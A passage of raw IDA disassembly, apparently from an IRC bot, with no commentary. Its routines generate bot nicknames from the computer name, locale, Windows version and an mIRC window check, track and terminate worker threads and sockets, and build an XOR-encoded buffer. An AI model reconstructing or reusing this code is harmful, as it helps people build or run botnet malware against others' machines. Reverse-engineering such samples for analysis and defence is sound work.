loc_40B162:				; CODE XREF: sub_40B135+41j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40B162

loc_40B178:				; CODE XREF: sub_40B135+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B182(char *Dest)

sub_40B182	proc near		; DATA XREF: .data:0044438Co

var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset aPc	; "PC"
		mov	[ebp+var_4], 100h
		xor	edi, edi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	ds:dword_4F5394	; GetComputerNameA
		test	eax, eax
		jnz	short loc_40B1B7
		mov	esi, offset aPc_0 ; "PC"

loc_40B1B7:				; CODE XREF: sub_40B182+2Ej
		movsx	eax, byte ptr [esi]
		push	41h
		pop	ecx

loc_40B1BD:				; CODE XREF: sub_40B182+46j
		cmp	eax, ecx
		jnz	short loc_40B1C4
		push	1
		pop	edi

loc_40B1C4:				; CODE XREF: sub_40B182+3Dj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40B1BD
		push	61h
		pop	ecx

loc_40B1CD:				; CODE XREF: sub_40B182+56j
		cmp	eax, ecx
		jnz	short loc_40B1D4
		push	1
		pop	edi

loc_40B1D4:				; CODE XREF: sub_40B182+4Dj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40B1CD
		test	edi, edi
		jnz	short loc_40B1E3
		mov	esi, offset aPc_1 ; "PC"

loc_40B1E3:				; CODE XREF: sub_40B182+5Aj
		mov	edi, [ebp+Dest]
		push	esi		; Format
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_43F098, esi
		jle	short loc_40B222

loc_40B1FC:				; CODE XREF: sub_40B182+9Ej
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_0	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F098
		jl	short loc_40B1FC

loc_40B222:				; CODE XREF: sub_40B182+78j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40B182	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B228(char *Dest)

sub_40B228	proc near		; DATA XREF: .data:004443A0o

var_C		= byte ptr -0Ch
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		lea	eax, [ebp+var_C]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_4F5398	; GetLocaleInfoA
		mov	edi, [ebp+Dest]
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aS_22	; "%s|"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F098, esi
		jle	short loc_40B297

loc_40B271:				; CODE XREF: sub_40B228+6Dj
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_1	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F098
		jl	short loc_40B271

loc_40B297:				; CODE XREF: sub_40B228+47j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40B228	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B29D(char *Dest)

sub_40B29D	proc near		; DATA XREF: .data:004443B4o

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		mov	esi, offset dword_4E3244
		mov	[ebp+var_94], 94h
		call	ds:dword_4F539C	; GetVersionExA
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		cmp	[ebp+var_90], 4
		pop	ecx
		jnz	short loc_40B321
		cmp	[ebp+var_8C], 0
		jnz	short loc_40B301
		cmp	[ebp+var_84], 1
		jnz	short loc_40B2F1
		mov	esi, offset a95	; "95"

loc_40B2F1:				; CODE XREF: sub_40B29D+4Dj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B35D
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40B35D
; ---------------------------------------------------------------------------

loc_40B301:				; CODE XREF: sub_40B29D+44j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B311
		mov	esi, offset a98	; "98"
		jmp	short loc_40B35D
; ---------------------------------------------------------------------------

loc_40B311:				; CODE XREF: sub_40B29D+6Bj
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B358
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40B35D
; ---------------------------------------------------------------------------

loc_40B321:				; CODE XREF: sub_40B29D+3Bj
		cmp	[ebp+var_90], 5
		jnz	short loc_40B358
		cmp	[ebp+var_8C], 0
		jnz	short loc_40B33A
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40B35D
; ---------------------------------------------------------------------------

loc_40B33A:				; CODE XREF: sub_40B29D+94j
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B34A
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40B35D
; ---------------------------------------------------------------------------

loc_40B34A:				; CODE XREF: sub_40B29D+A4j
		cmp	[ebp+var_8C], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40B35D

loc_40B358:				; CODE XREF: sub_40B29D+7Bj
					; sub_40B29D+8Bj
		mov	esi, offset a??? ; "???"

loc_40B35D:				; CODE XREF: sub_40B29D+5Bj
					; sub_40B29D+62j ...
		mov	edi, [ebp+Dest]
		push	esi
		push	offset aS_23	; "[%s]|"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F098, esi
		jle	short loc_40B3A1

loc_40B37B:				; CODE XREF: sub_40B29D+102j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_2	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F098
		jl	short loc_40B37B

loc_40B3A1:				; CODE XREF: sub_40B29D+DCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40B29D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B3A7(char *Dest)

sub_40B3A7	proc near		; CODE XREF: sub_40B44F+5Cp

Source		= byte ptr -1Ch
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_4F537C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B3F6
		push	offset aMirc_0	; "mIRC"
		call	dword_4E3104	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40B3DF
		mov	eax, offset dword_4E3248

loc_40B3DF:				; CODE XREF: sub_40B3A7+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40B41B
; ---------------------------------------------------------------------------

loc_40B3F6:				; CODE XREF: sub_40B3A7+1Dj
		push	offset aMirc_1	; "mIRC"
		call	dword_4E3104	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_40B40F
		mov	eax, offset dword_4E324C

loc_40B40F:				; CODE XREF: sub_40B3A7+61j
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40B41B:				; CODE XREF: sub_40B3A7+4Dj
		lea	eax, [ebp+Source]
		push	eax		; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B44A
		push	1Ch		; Count
		lea	eax, [ebp+Source]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncat
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		add	esp, 18h

loc_40B44A:				; CODE XREF: sub_40B3A7+82j
		mov	eax, [ebp+Dest]
		leave
		retn
sub_40B3A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B44F(char *Dest,int,int,char *Str1)

sub_40B44F	proc near		; CODE XREF: sub_4019E7+7Fp
					; sub_401B4F+50p ...

Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str1		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_44434C

loc_40B45B:				; CODE XREF: sub_40B44F+3Fj
		cmp	[ebp+Str1], 0
		jz	short loc_40B476
		lea	eax, [esi-0Ch]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B480
; ---------------------------------------------------------------------------

loc_40B476:				; CODE XREF: sub_40B44F+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B480:				; CODE XREF: sub_40B44F+25j
		test	eax, eax
		jnz	short loc_40B492
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_4443C4
		jb	short loc_40B45B
		jmp	short loc_40B4A0
; ---------------------------------------------------------------------------

loc_40B492:				; CODE XREF: sub_40B44F+33j
		push	[ebp+Dest]	; Dest
		lea	eax, [edi+edi*4]
		call	off_444350[eax*4]
		pop	ecx

loc_40B4A0:				; CODE XREF: sub_40B44F+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B4B3
		push	[ebp+Dest]	; Dest
		call	sub_40B3A7
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B4B3:				; CODE XREF: sub_40B44F+57j
		mov	eax, [ebp+Dest]
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B4B8(char *Str,int)

sub_40B4B8	proc near		; CODE XREF: sub_40B4D8+Ap
					; sub_40B5B0+8p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+Str]	; Str
		call	_strlen
		push	[esp+8+arg_4]	; Str
		mov	esi, eax
		call	_strlen
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B4D8(void *Dst,int,char *Src,int)

sub_40B4D8	proc near		; CODE XREF: .text:0040B610p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Src		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]	; int
		push	[ebp+Src]	; Str
		call	sub_40B4B8
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B4F5
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B4F5:				; CODE XREF: sub_40B4D8+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+Src]	; Str
		call	_strlen
		push	[ebp+arg_C]	; Str
		mov	esi, eax
		call	_strlen
		mov	edi, eax
		mov	ebx, [ebp+Dst]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_44813C, eax
		lea	eax, [edi+1]
		mov	dword_44815D, eax
		lea	eax, [edi+17h]
		mov	dword_448155, eax
		pop	eax
		push	74h		; Size
		sub	eax, edi
		push	offset dword_4480D8 ; Src
		push	ebx		; Dst
		mov	dword_44816B, eax
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebx+74h]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, 74h
		push	5		; Size
		push	offset aGet	; " get	"
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, 5
		push	edi		; Size
		push	[ebp+arg_C]	; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	10h		; Size
		push	(offset	aGet+5)	; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esp, 44h
		add	esi, 10h
		push	edi		; Size
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	38h		; Size
		add	esi, ebx
		push	offset byte_448161 ; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B4D8	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B5B0(char *Str,int)

sub_40B5B0	proc near		; CODE XREF: .text:0040B5D4p

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]	; int
		push	[esp+4+Str]	; Str
		call	sub_40B4B8
		push	eax
		call	sub_40B634
		add	esp, 0Ch
		retn
sub_40B5B0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	edi
		mov	edi, [ebp+14h]
		push	edi
		push	ebx
		call	sub_40B5B0
		cmp	eax, [ebp+0Ch]
		pop	ecx
		pop	ecx
		ja	short loc_40B5E7
		cmp	eax, 0FFFFh
		jbe	short loc_40B5EB

loc_40B5E7:				; CODE XREF: .text:0040B5DEj
		xor	eax, eax
		jmp	short loc_40B630
; ---------------------------------------------------------------------------

loc_40B5EB:				; CODE XREF: .text:0040B5E5j
		push	esi
		push	edi
		push	ebx
		call	sub_40B4B8
		add	eax, 101h
		push	eax
		call	_malloc
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B4B8
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B4D8
		push	eax
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B64F
		push	esi
		mov	edi, eax
		call	_free
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_40B630:				; CODE XREF: .text:0040B5E9j
		pop	edi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B634	proc near		; CODE XREF: sub_40B5B0+Ep
					; sub_40B64F+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B63D
		inc	ecx

loc_40B63D:				; CODE XREF: sub_40B634+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B64F(void *Dst,int,int,int)

sub_40B64F	proc near		; CODE XREF: .text:0040B61Dp

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B66B
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B66B
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B66B
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B66E

loc_40B66B:				; CODE XREF: sub_40B64F+8j
					; sub_40B64F+Ej ...
		inc	[ebp+arg_C]

loc_40B66E:				; CODE XREF: sub_40B64F+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B696
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B68F
		cmp	al, 0Dh
		jz	short loc_40B68F
		cmp	al, 5Ch
		jz	short loc_40B68F
		test	al, al
		jnz	short loc_40B696

loc_40B68F:				; CODE XREF: sub_40B64F+32j
					; sub_40B64F+36j ...
		add	[ebp+arg_C], 100h

loc_40B696:				; CODE XREF: sub_40B64F+28j
					; sub_40B64F+3Ej
		push	[ebp+arg_C]
		call	sub_40B634
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B6AE
		cmp	eax, 0FFFFh
		jbe	short loc_40B6B5

loc_40B6AE:				; CODE XREF: sub_40B64F+56j
		xor	eax, eax
		jmp	loc_40B753
; ---------------------------------------------------------------------------

loc_40B6B5:				; CODE XREF: sub_40B64F+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4E3250
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B6E5

loc_40B6C9:				; CODE XREF: sub_40B64F+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B6DC
		cmp	al, 0Ah
		jz	short loc_40B6DC
		cmp	al, 0Dh
		jz	short loc_40B6DC
		cmp	al, 5Ch
		jnz	short loc_40B6E0

loc_40B6DC:				; CODE XREF: sub_40B64F+7Fj
					; sub_40B64F+83j ...
		inc	bl
		xor	edx, edx

loc_40B6E0:				; CODE XREF: sub_40B64F+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B6C9

loc_40B6E5:				; CODE XREF: sub_40B64F+78j
		cmp	ecx, esi
		mov	byte_4E3250, bl
		ja	short loc_40B711
		push	15h		; Size
		push	offset dword_4480C0 ; Src
		push	[ebp+Dst]	; Dst
		mov	byte_4480CD, cl
		mov	byte_4480D1, bl
		call	_memcpy
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B732
; ---------------------------------------------------------------------------

loc_40B711:				; CODE XREF: sub_40B64F+9Ej
		push	17h		; Size
		push	offset dword_4480A8 ; Src
		push	[ebp+Dst]	; Dst
		mov	word_4480B6, cx
		mov	byte_4480BB, bl
		call	_memcpy
		add	esp, 0Ch
		push	17h

loc_40B732:				; CODE XREF: sub_40B64F+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B74E
		mov	edx, [ebp+Dst]
		lea	esi, [ecx+edx]

loc_40B740:				; CODE XREF: sub_40B64F+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B740

loc_40B74E:				; CODE XREF: sub_40B64F+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_40B753:				; CODE XREF: sub_40B64F+61j
		pop	esi
		leave
		retn
sub_40B64F	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B756(char *Source,int,int)

sub_40B756	proc near		; CODE XREF: WinMain(x,x,x,x)+378p
					; WinMain(x,x,x,x)+3B7p ...

Source		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_455E18

loc_40B75E:				; CODE XREF: sub_40B756+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B772
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4E2E18
		jl	short loc_40B75E
		jmp	short loc_40B7BD
; ---------------------------------------------------------------------------

loc_40B772:				; CODE XREF: sub_40B756+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh		; Count
		push	[esp+0Ch+Source] ; Source
		lea	eax, dword_455E18[esi]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_456018[esi], eax
		and	dword_45601C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_456020[esi], 0
		mov	dword_456024[esi], eax
		and	byte_456030[esi], 0
		pop	esi

loc_40B7BD:				; CODE XREF: sub_40B756+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7C1	proc near		; DATA XREF: sub_401CC7+297Ao

var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]	; int
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Str]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_40B813
		push	[ebp+var_14]
		call	sub_40BA72
		add	esp, 14h
		push	0
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_40B7C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B813(int,char *Str,int,int)

sub_40B813	proc near		; CODE XREF: sub_40B7C1+38p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_44819C ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_455E18

loc_40B83D:				; CODE XREF: sub_40B813+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B87E
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B851
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B87E

loc_40B851:				; CODE XREF: sub_40B813+33j
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aD_S_0	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 24h

loc_40B87E:				; CODE XREF: sub_40B813+2Dj
					; sub_40B813+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E2E18
		jl	short loc_40B83D
		pop	edi
		pop	esi
		leave
		retn
sub_40B813	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B891	proc near		; CODE XREF: sub_401CC7+7C6Cp
					; sub_40B91F+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B919
		cmp	esi, 400h
		jge	short loc_40B919
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_45602C[esi]
		lea	edi, dword_45602C[esi]
		call	ds:dword_4F5380	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B8C9
		push	1
		pop	ebp

loc_40B8C9:				; CODE XREF: sub_40B891+33j
		mov	[edi], ebx
		lea	edi, dword_456020[esi]
		mov	dword_456018[esi], ebx
		mov	dword_45601C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B8EA
		push	eax
		call	sub_41A8AA
		pop	ecx

loc_40B8EA:				; CODE XREF: sub_40B891+50j
		mov	[edi], ebx
		lea	edi, dword_456024[esi]
		mov	byte ptr dword_455E18[esi], bl
		mov	byte_456030[esi], bl
		push	dword ptr [edi]
		call	dword_4E3190	; closesocket
		lea	esi, dword_456028[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		mov	[esi], ebx
		pop	edi

loc_40B919:				; CODE XREF: sub_40B891+Dj
					; sub_40B891+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B891	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B91F	proc near		; CODE XREF: sub_401317+18p
					; WinMain(x,x,x,x):loc_4019D3p	...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_455E18

loc_40B92B:				; CODE XREF: sub_40B91F+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B93C
		push	edi
		call	sub_40B891
		test	eax, eax
		pop	ecx
		jz	short loc_40B93C
		inc	ebx

loc_40B93C:				; CODE XREF: sub_40B91F+Fj
					; sub_40B91F+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E2E18
		jl	short loc_40B92B
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B91F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B951	proc near		; CODE XREF: sub_401CC7+4188p
					; sub_401CC7+42DAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_45601C

loc_40B965:				; CODE XREF: sub_40B951+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B987
		test	edi, edi
		jle	short loc_40B979
		cmp	[esi], edi
		jz	short loc_40B979
		cmp	ebx, edi
		jnz	short loc_40B987

loc_40B979:				; CODE XREF: sub_40B951+1Ej
					; sub_40B951+22j
		push	ebx
		call	sub_40B891
		test	eax, eax
		pop	ecx
		jz	short loc_40B987
		inc	[ebp+var_4]

loc_40B987:				; CODE XREF: sub_40B951+1Aj
					; sub_40B951+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4E301C
		jl	short loc_40B965
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B951	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B99E	proc near		; CODE XREF: WinMain(x,x,x,x)+40Fp
					; sub_401CC7+962p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_456018

loc_40B9A5:				; CODE XREF: sub_40B99E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B9AE
		inc	eax

loc_40B9AE:				; CODE XREF: sub_40B99E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4E3018
		jl	short loc_40B9A5
		retn
sub_40B99E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9BD	proc near		; CODE XREF: sub_401CC7+2424p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_456018

loc_40B9C7:				; CODE XREF: sub_40B9BD+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B9E0
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4E3018
		jl	short loc_40B9C7
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B9E0:				; CODE XREF: sub_40B9BD+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B9BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B9E4(int,int,int,int,int,int,int,char *Str)

sub_40B9E4	proc near		; CODE XREF: sub_401CC7+1057p
					; sub_401CC7+125Dp ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
Str		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+Str], eax
		jz	short loc_40B9FD
		push	[ebp+Str]	; Str
		call	_atoi
		pop	ecx

loc_40B9FD:				; CODE XREF: sub_40B9E4+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B951
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40BA29
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_40BA43
; ---------------------------------------------------------------------------

loc_40BA29:				; CODE XREF: sub_40B9E4+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h

loc_40BA43:				; CODE XREF: sub_40B9E4+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40BA63
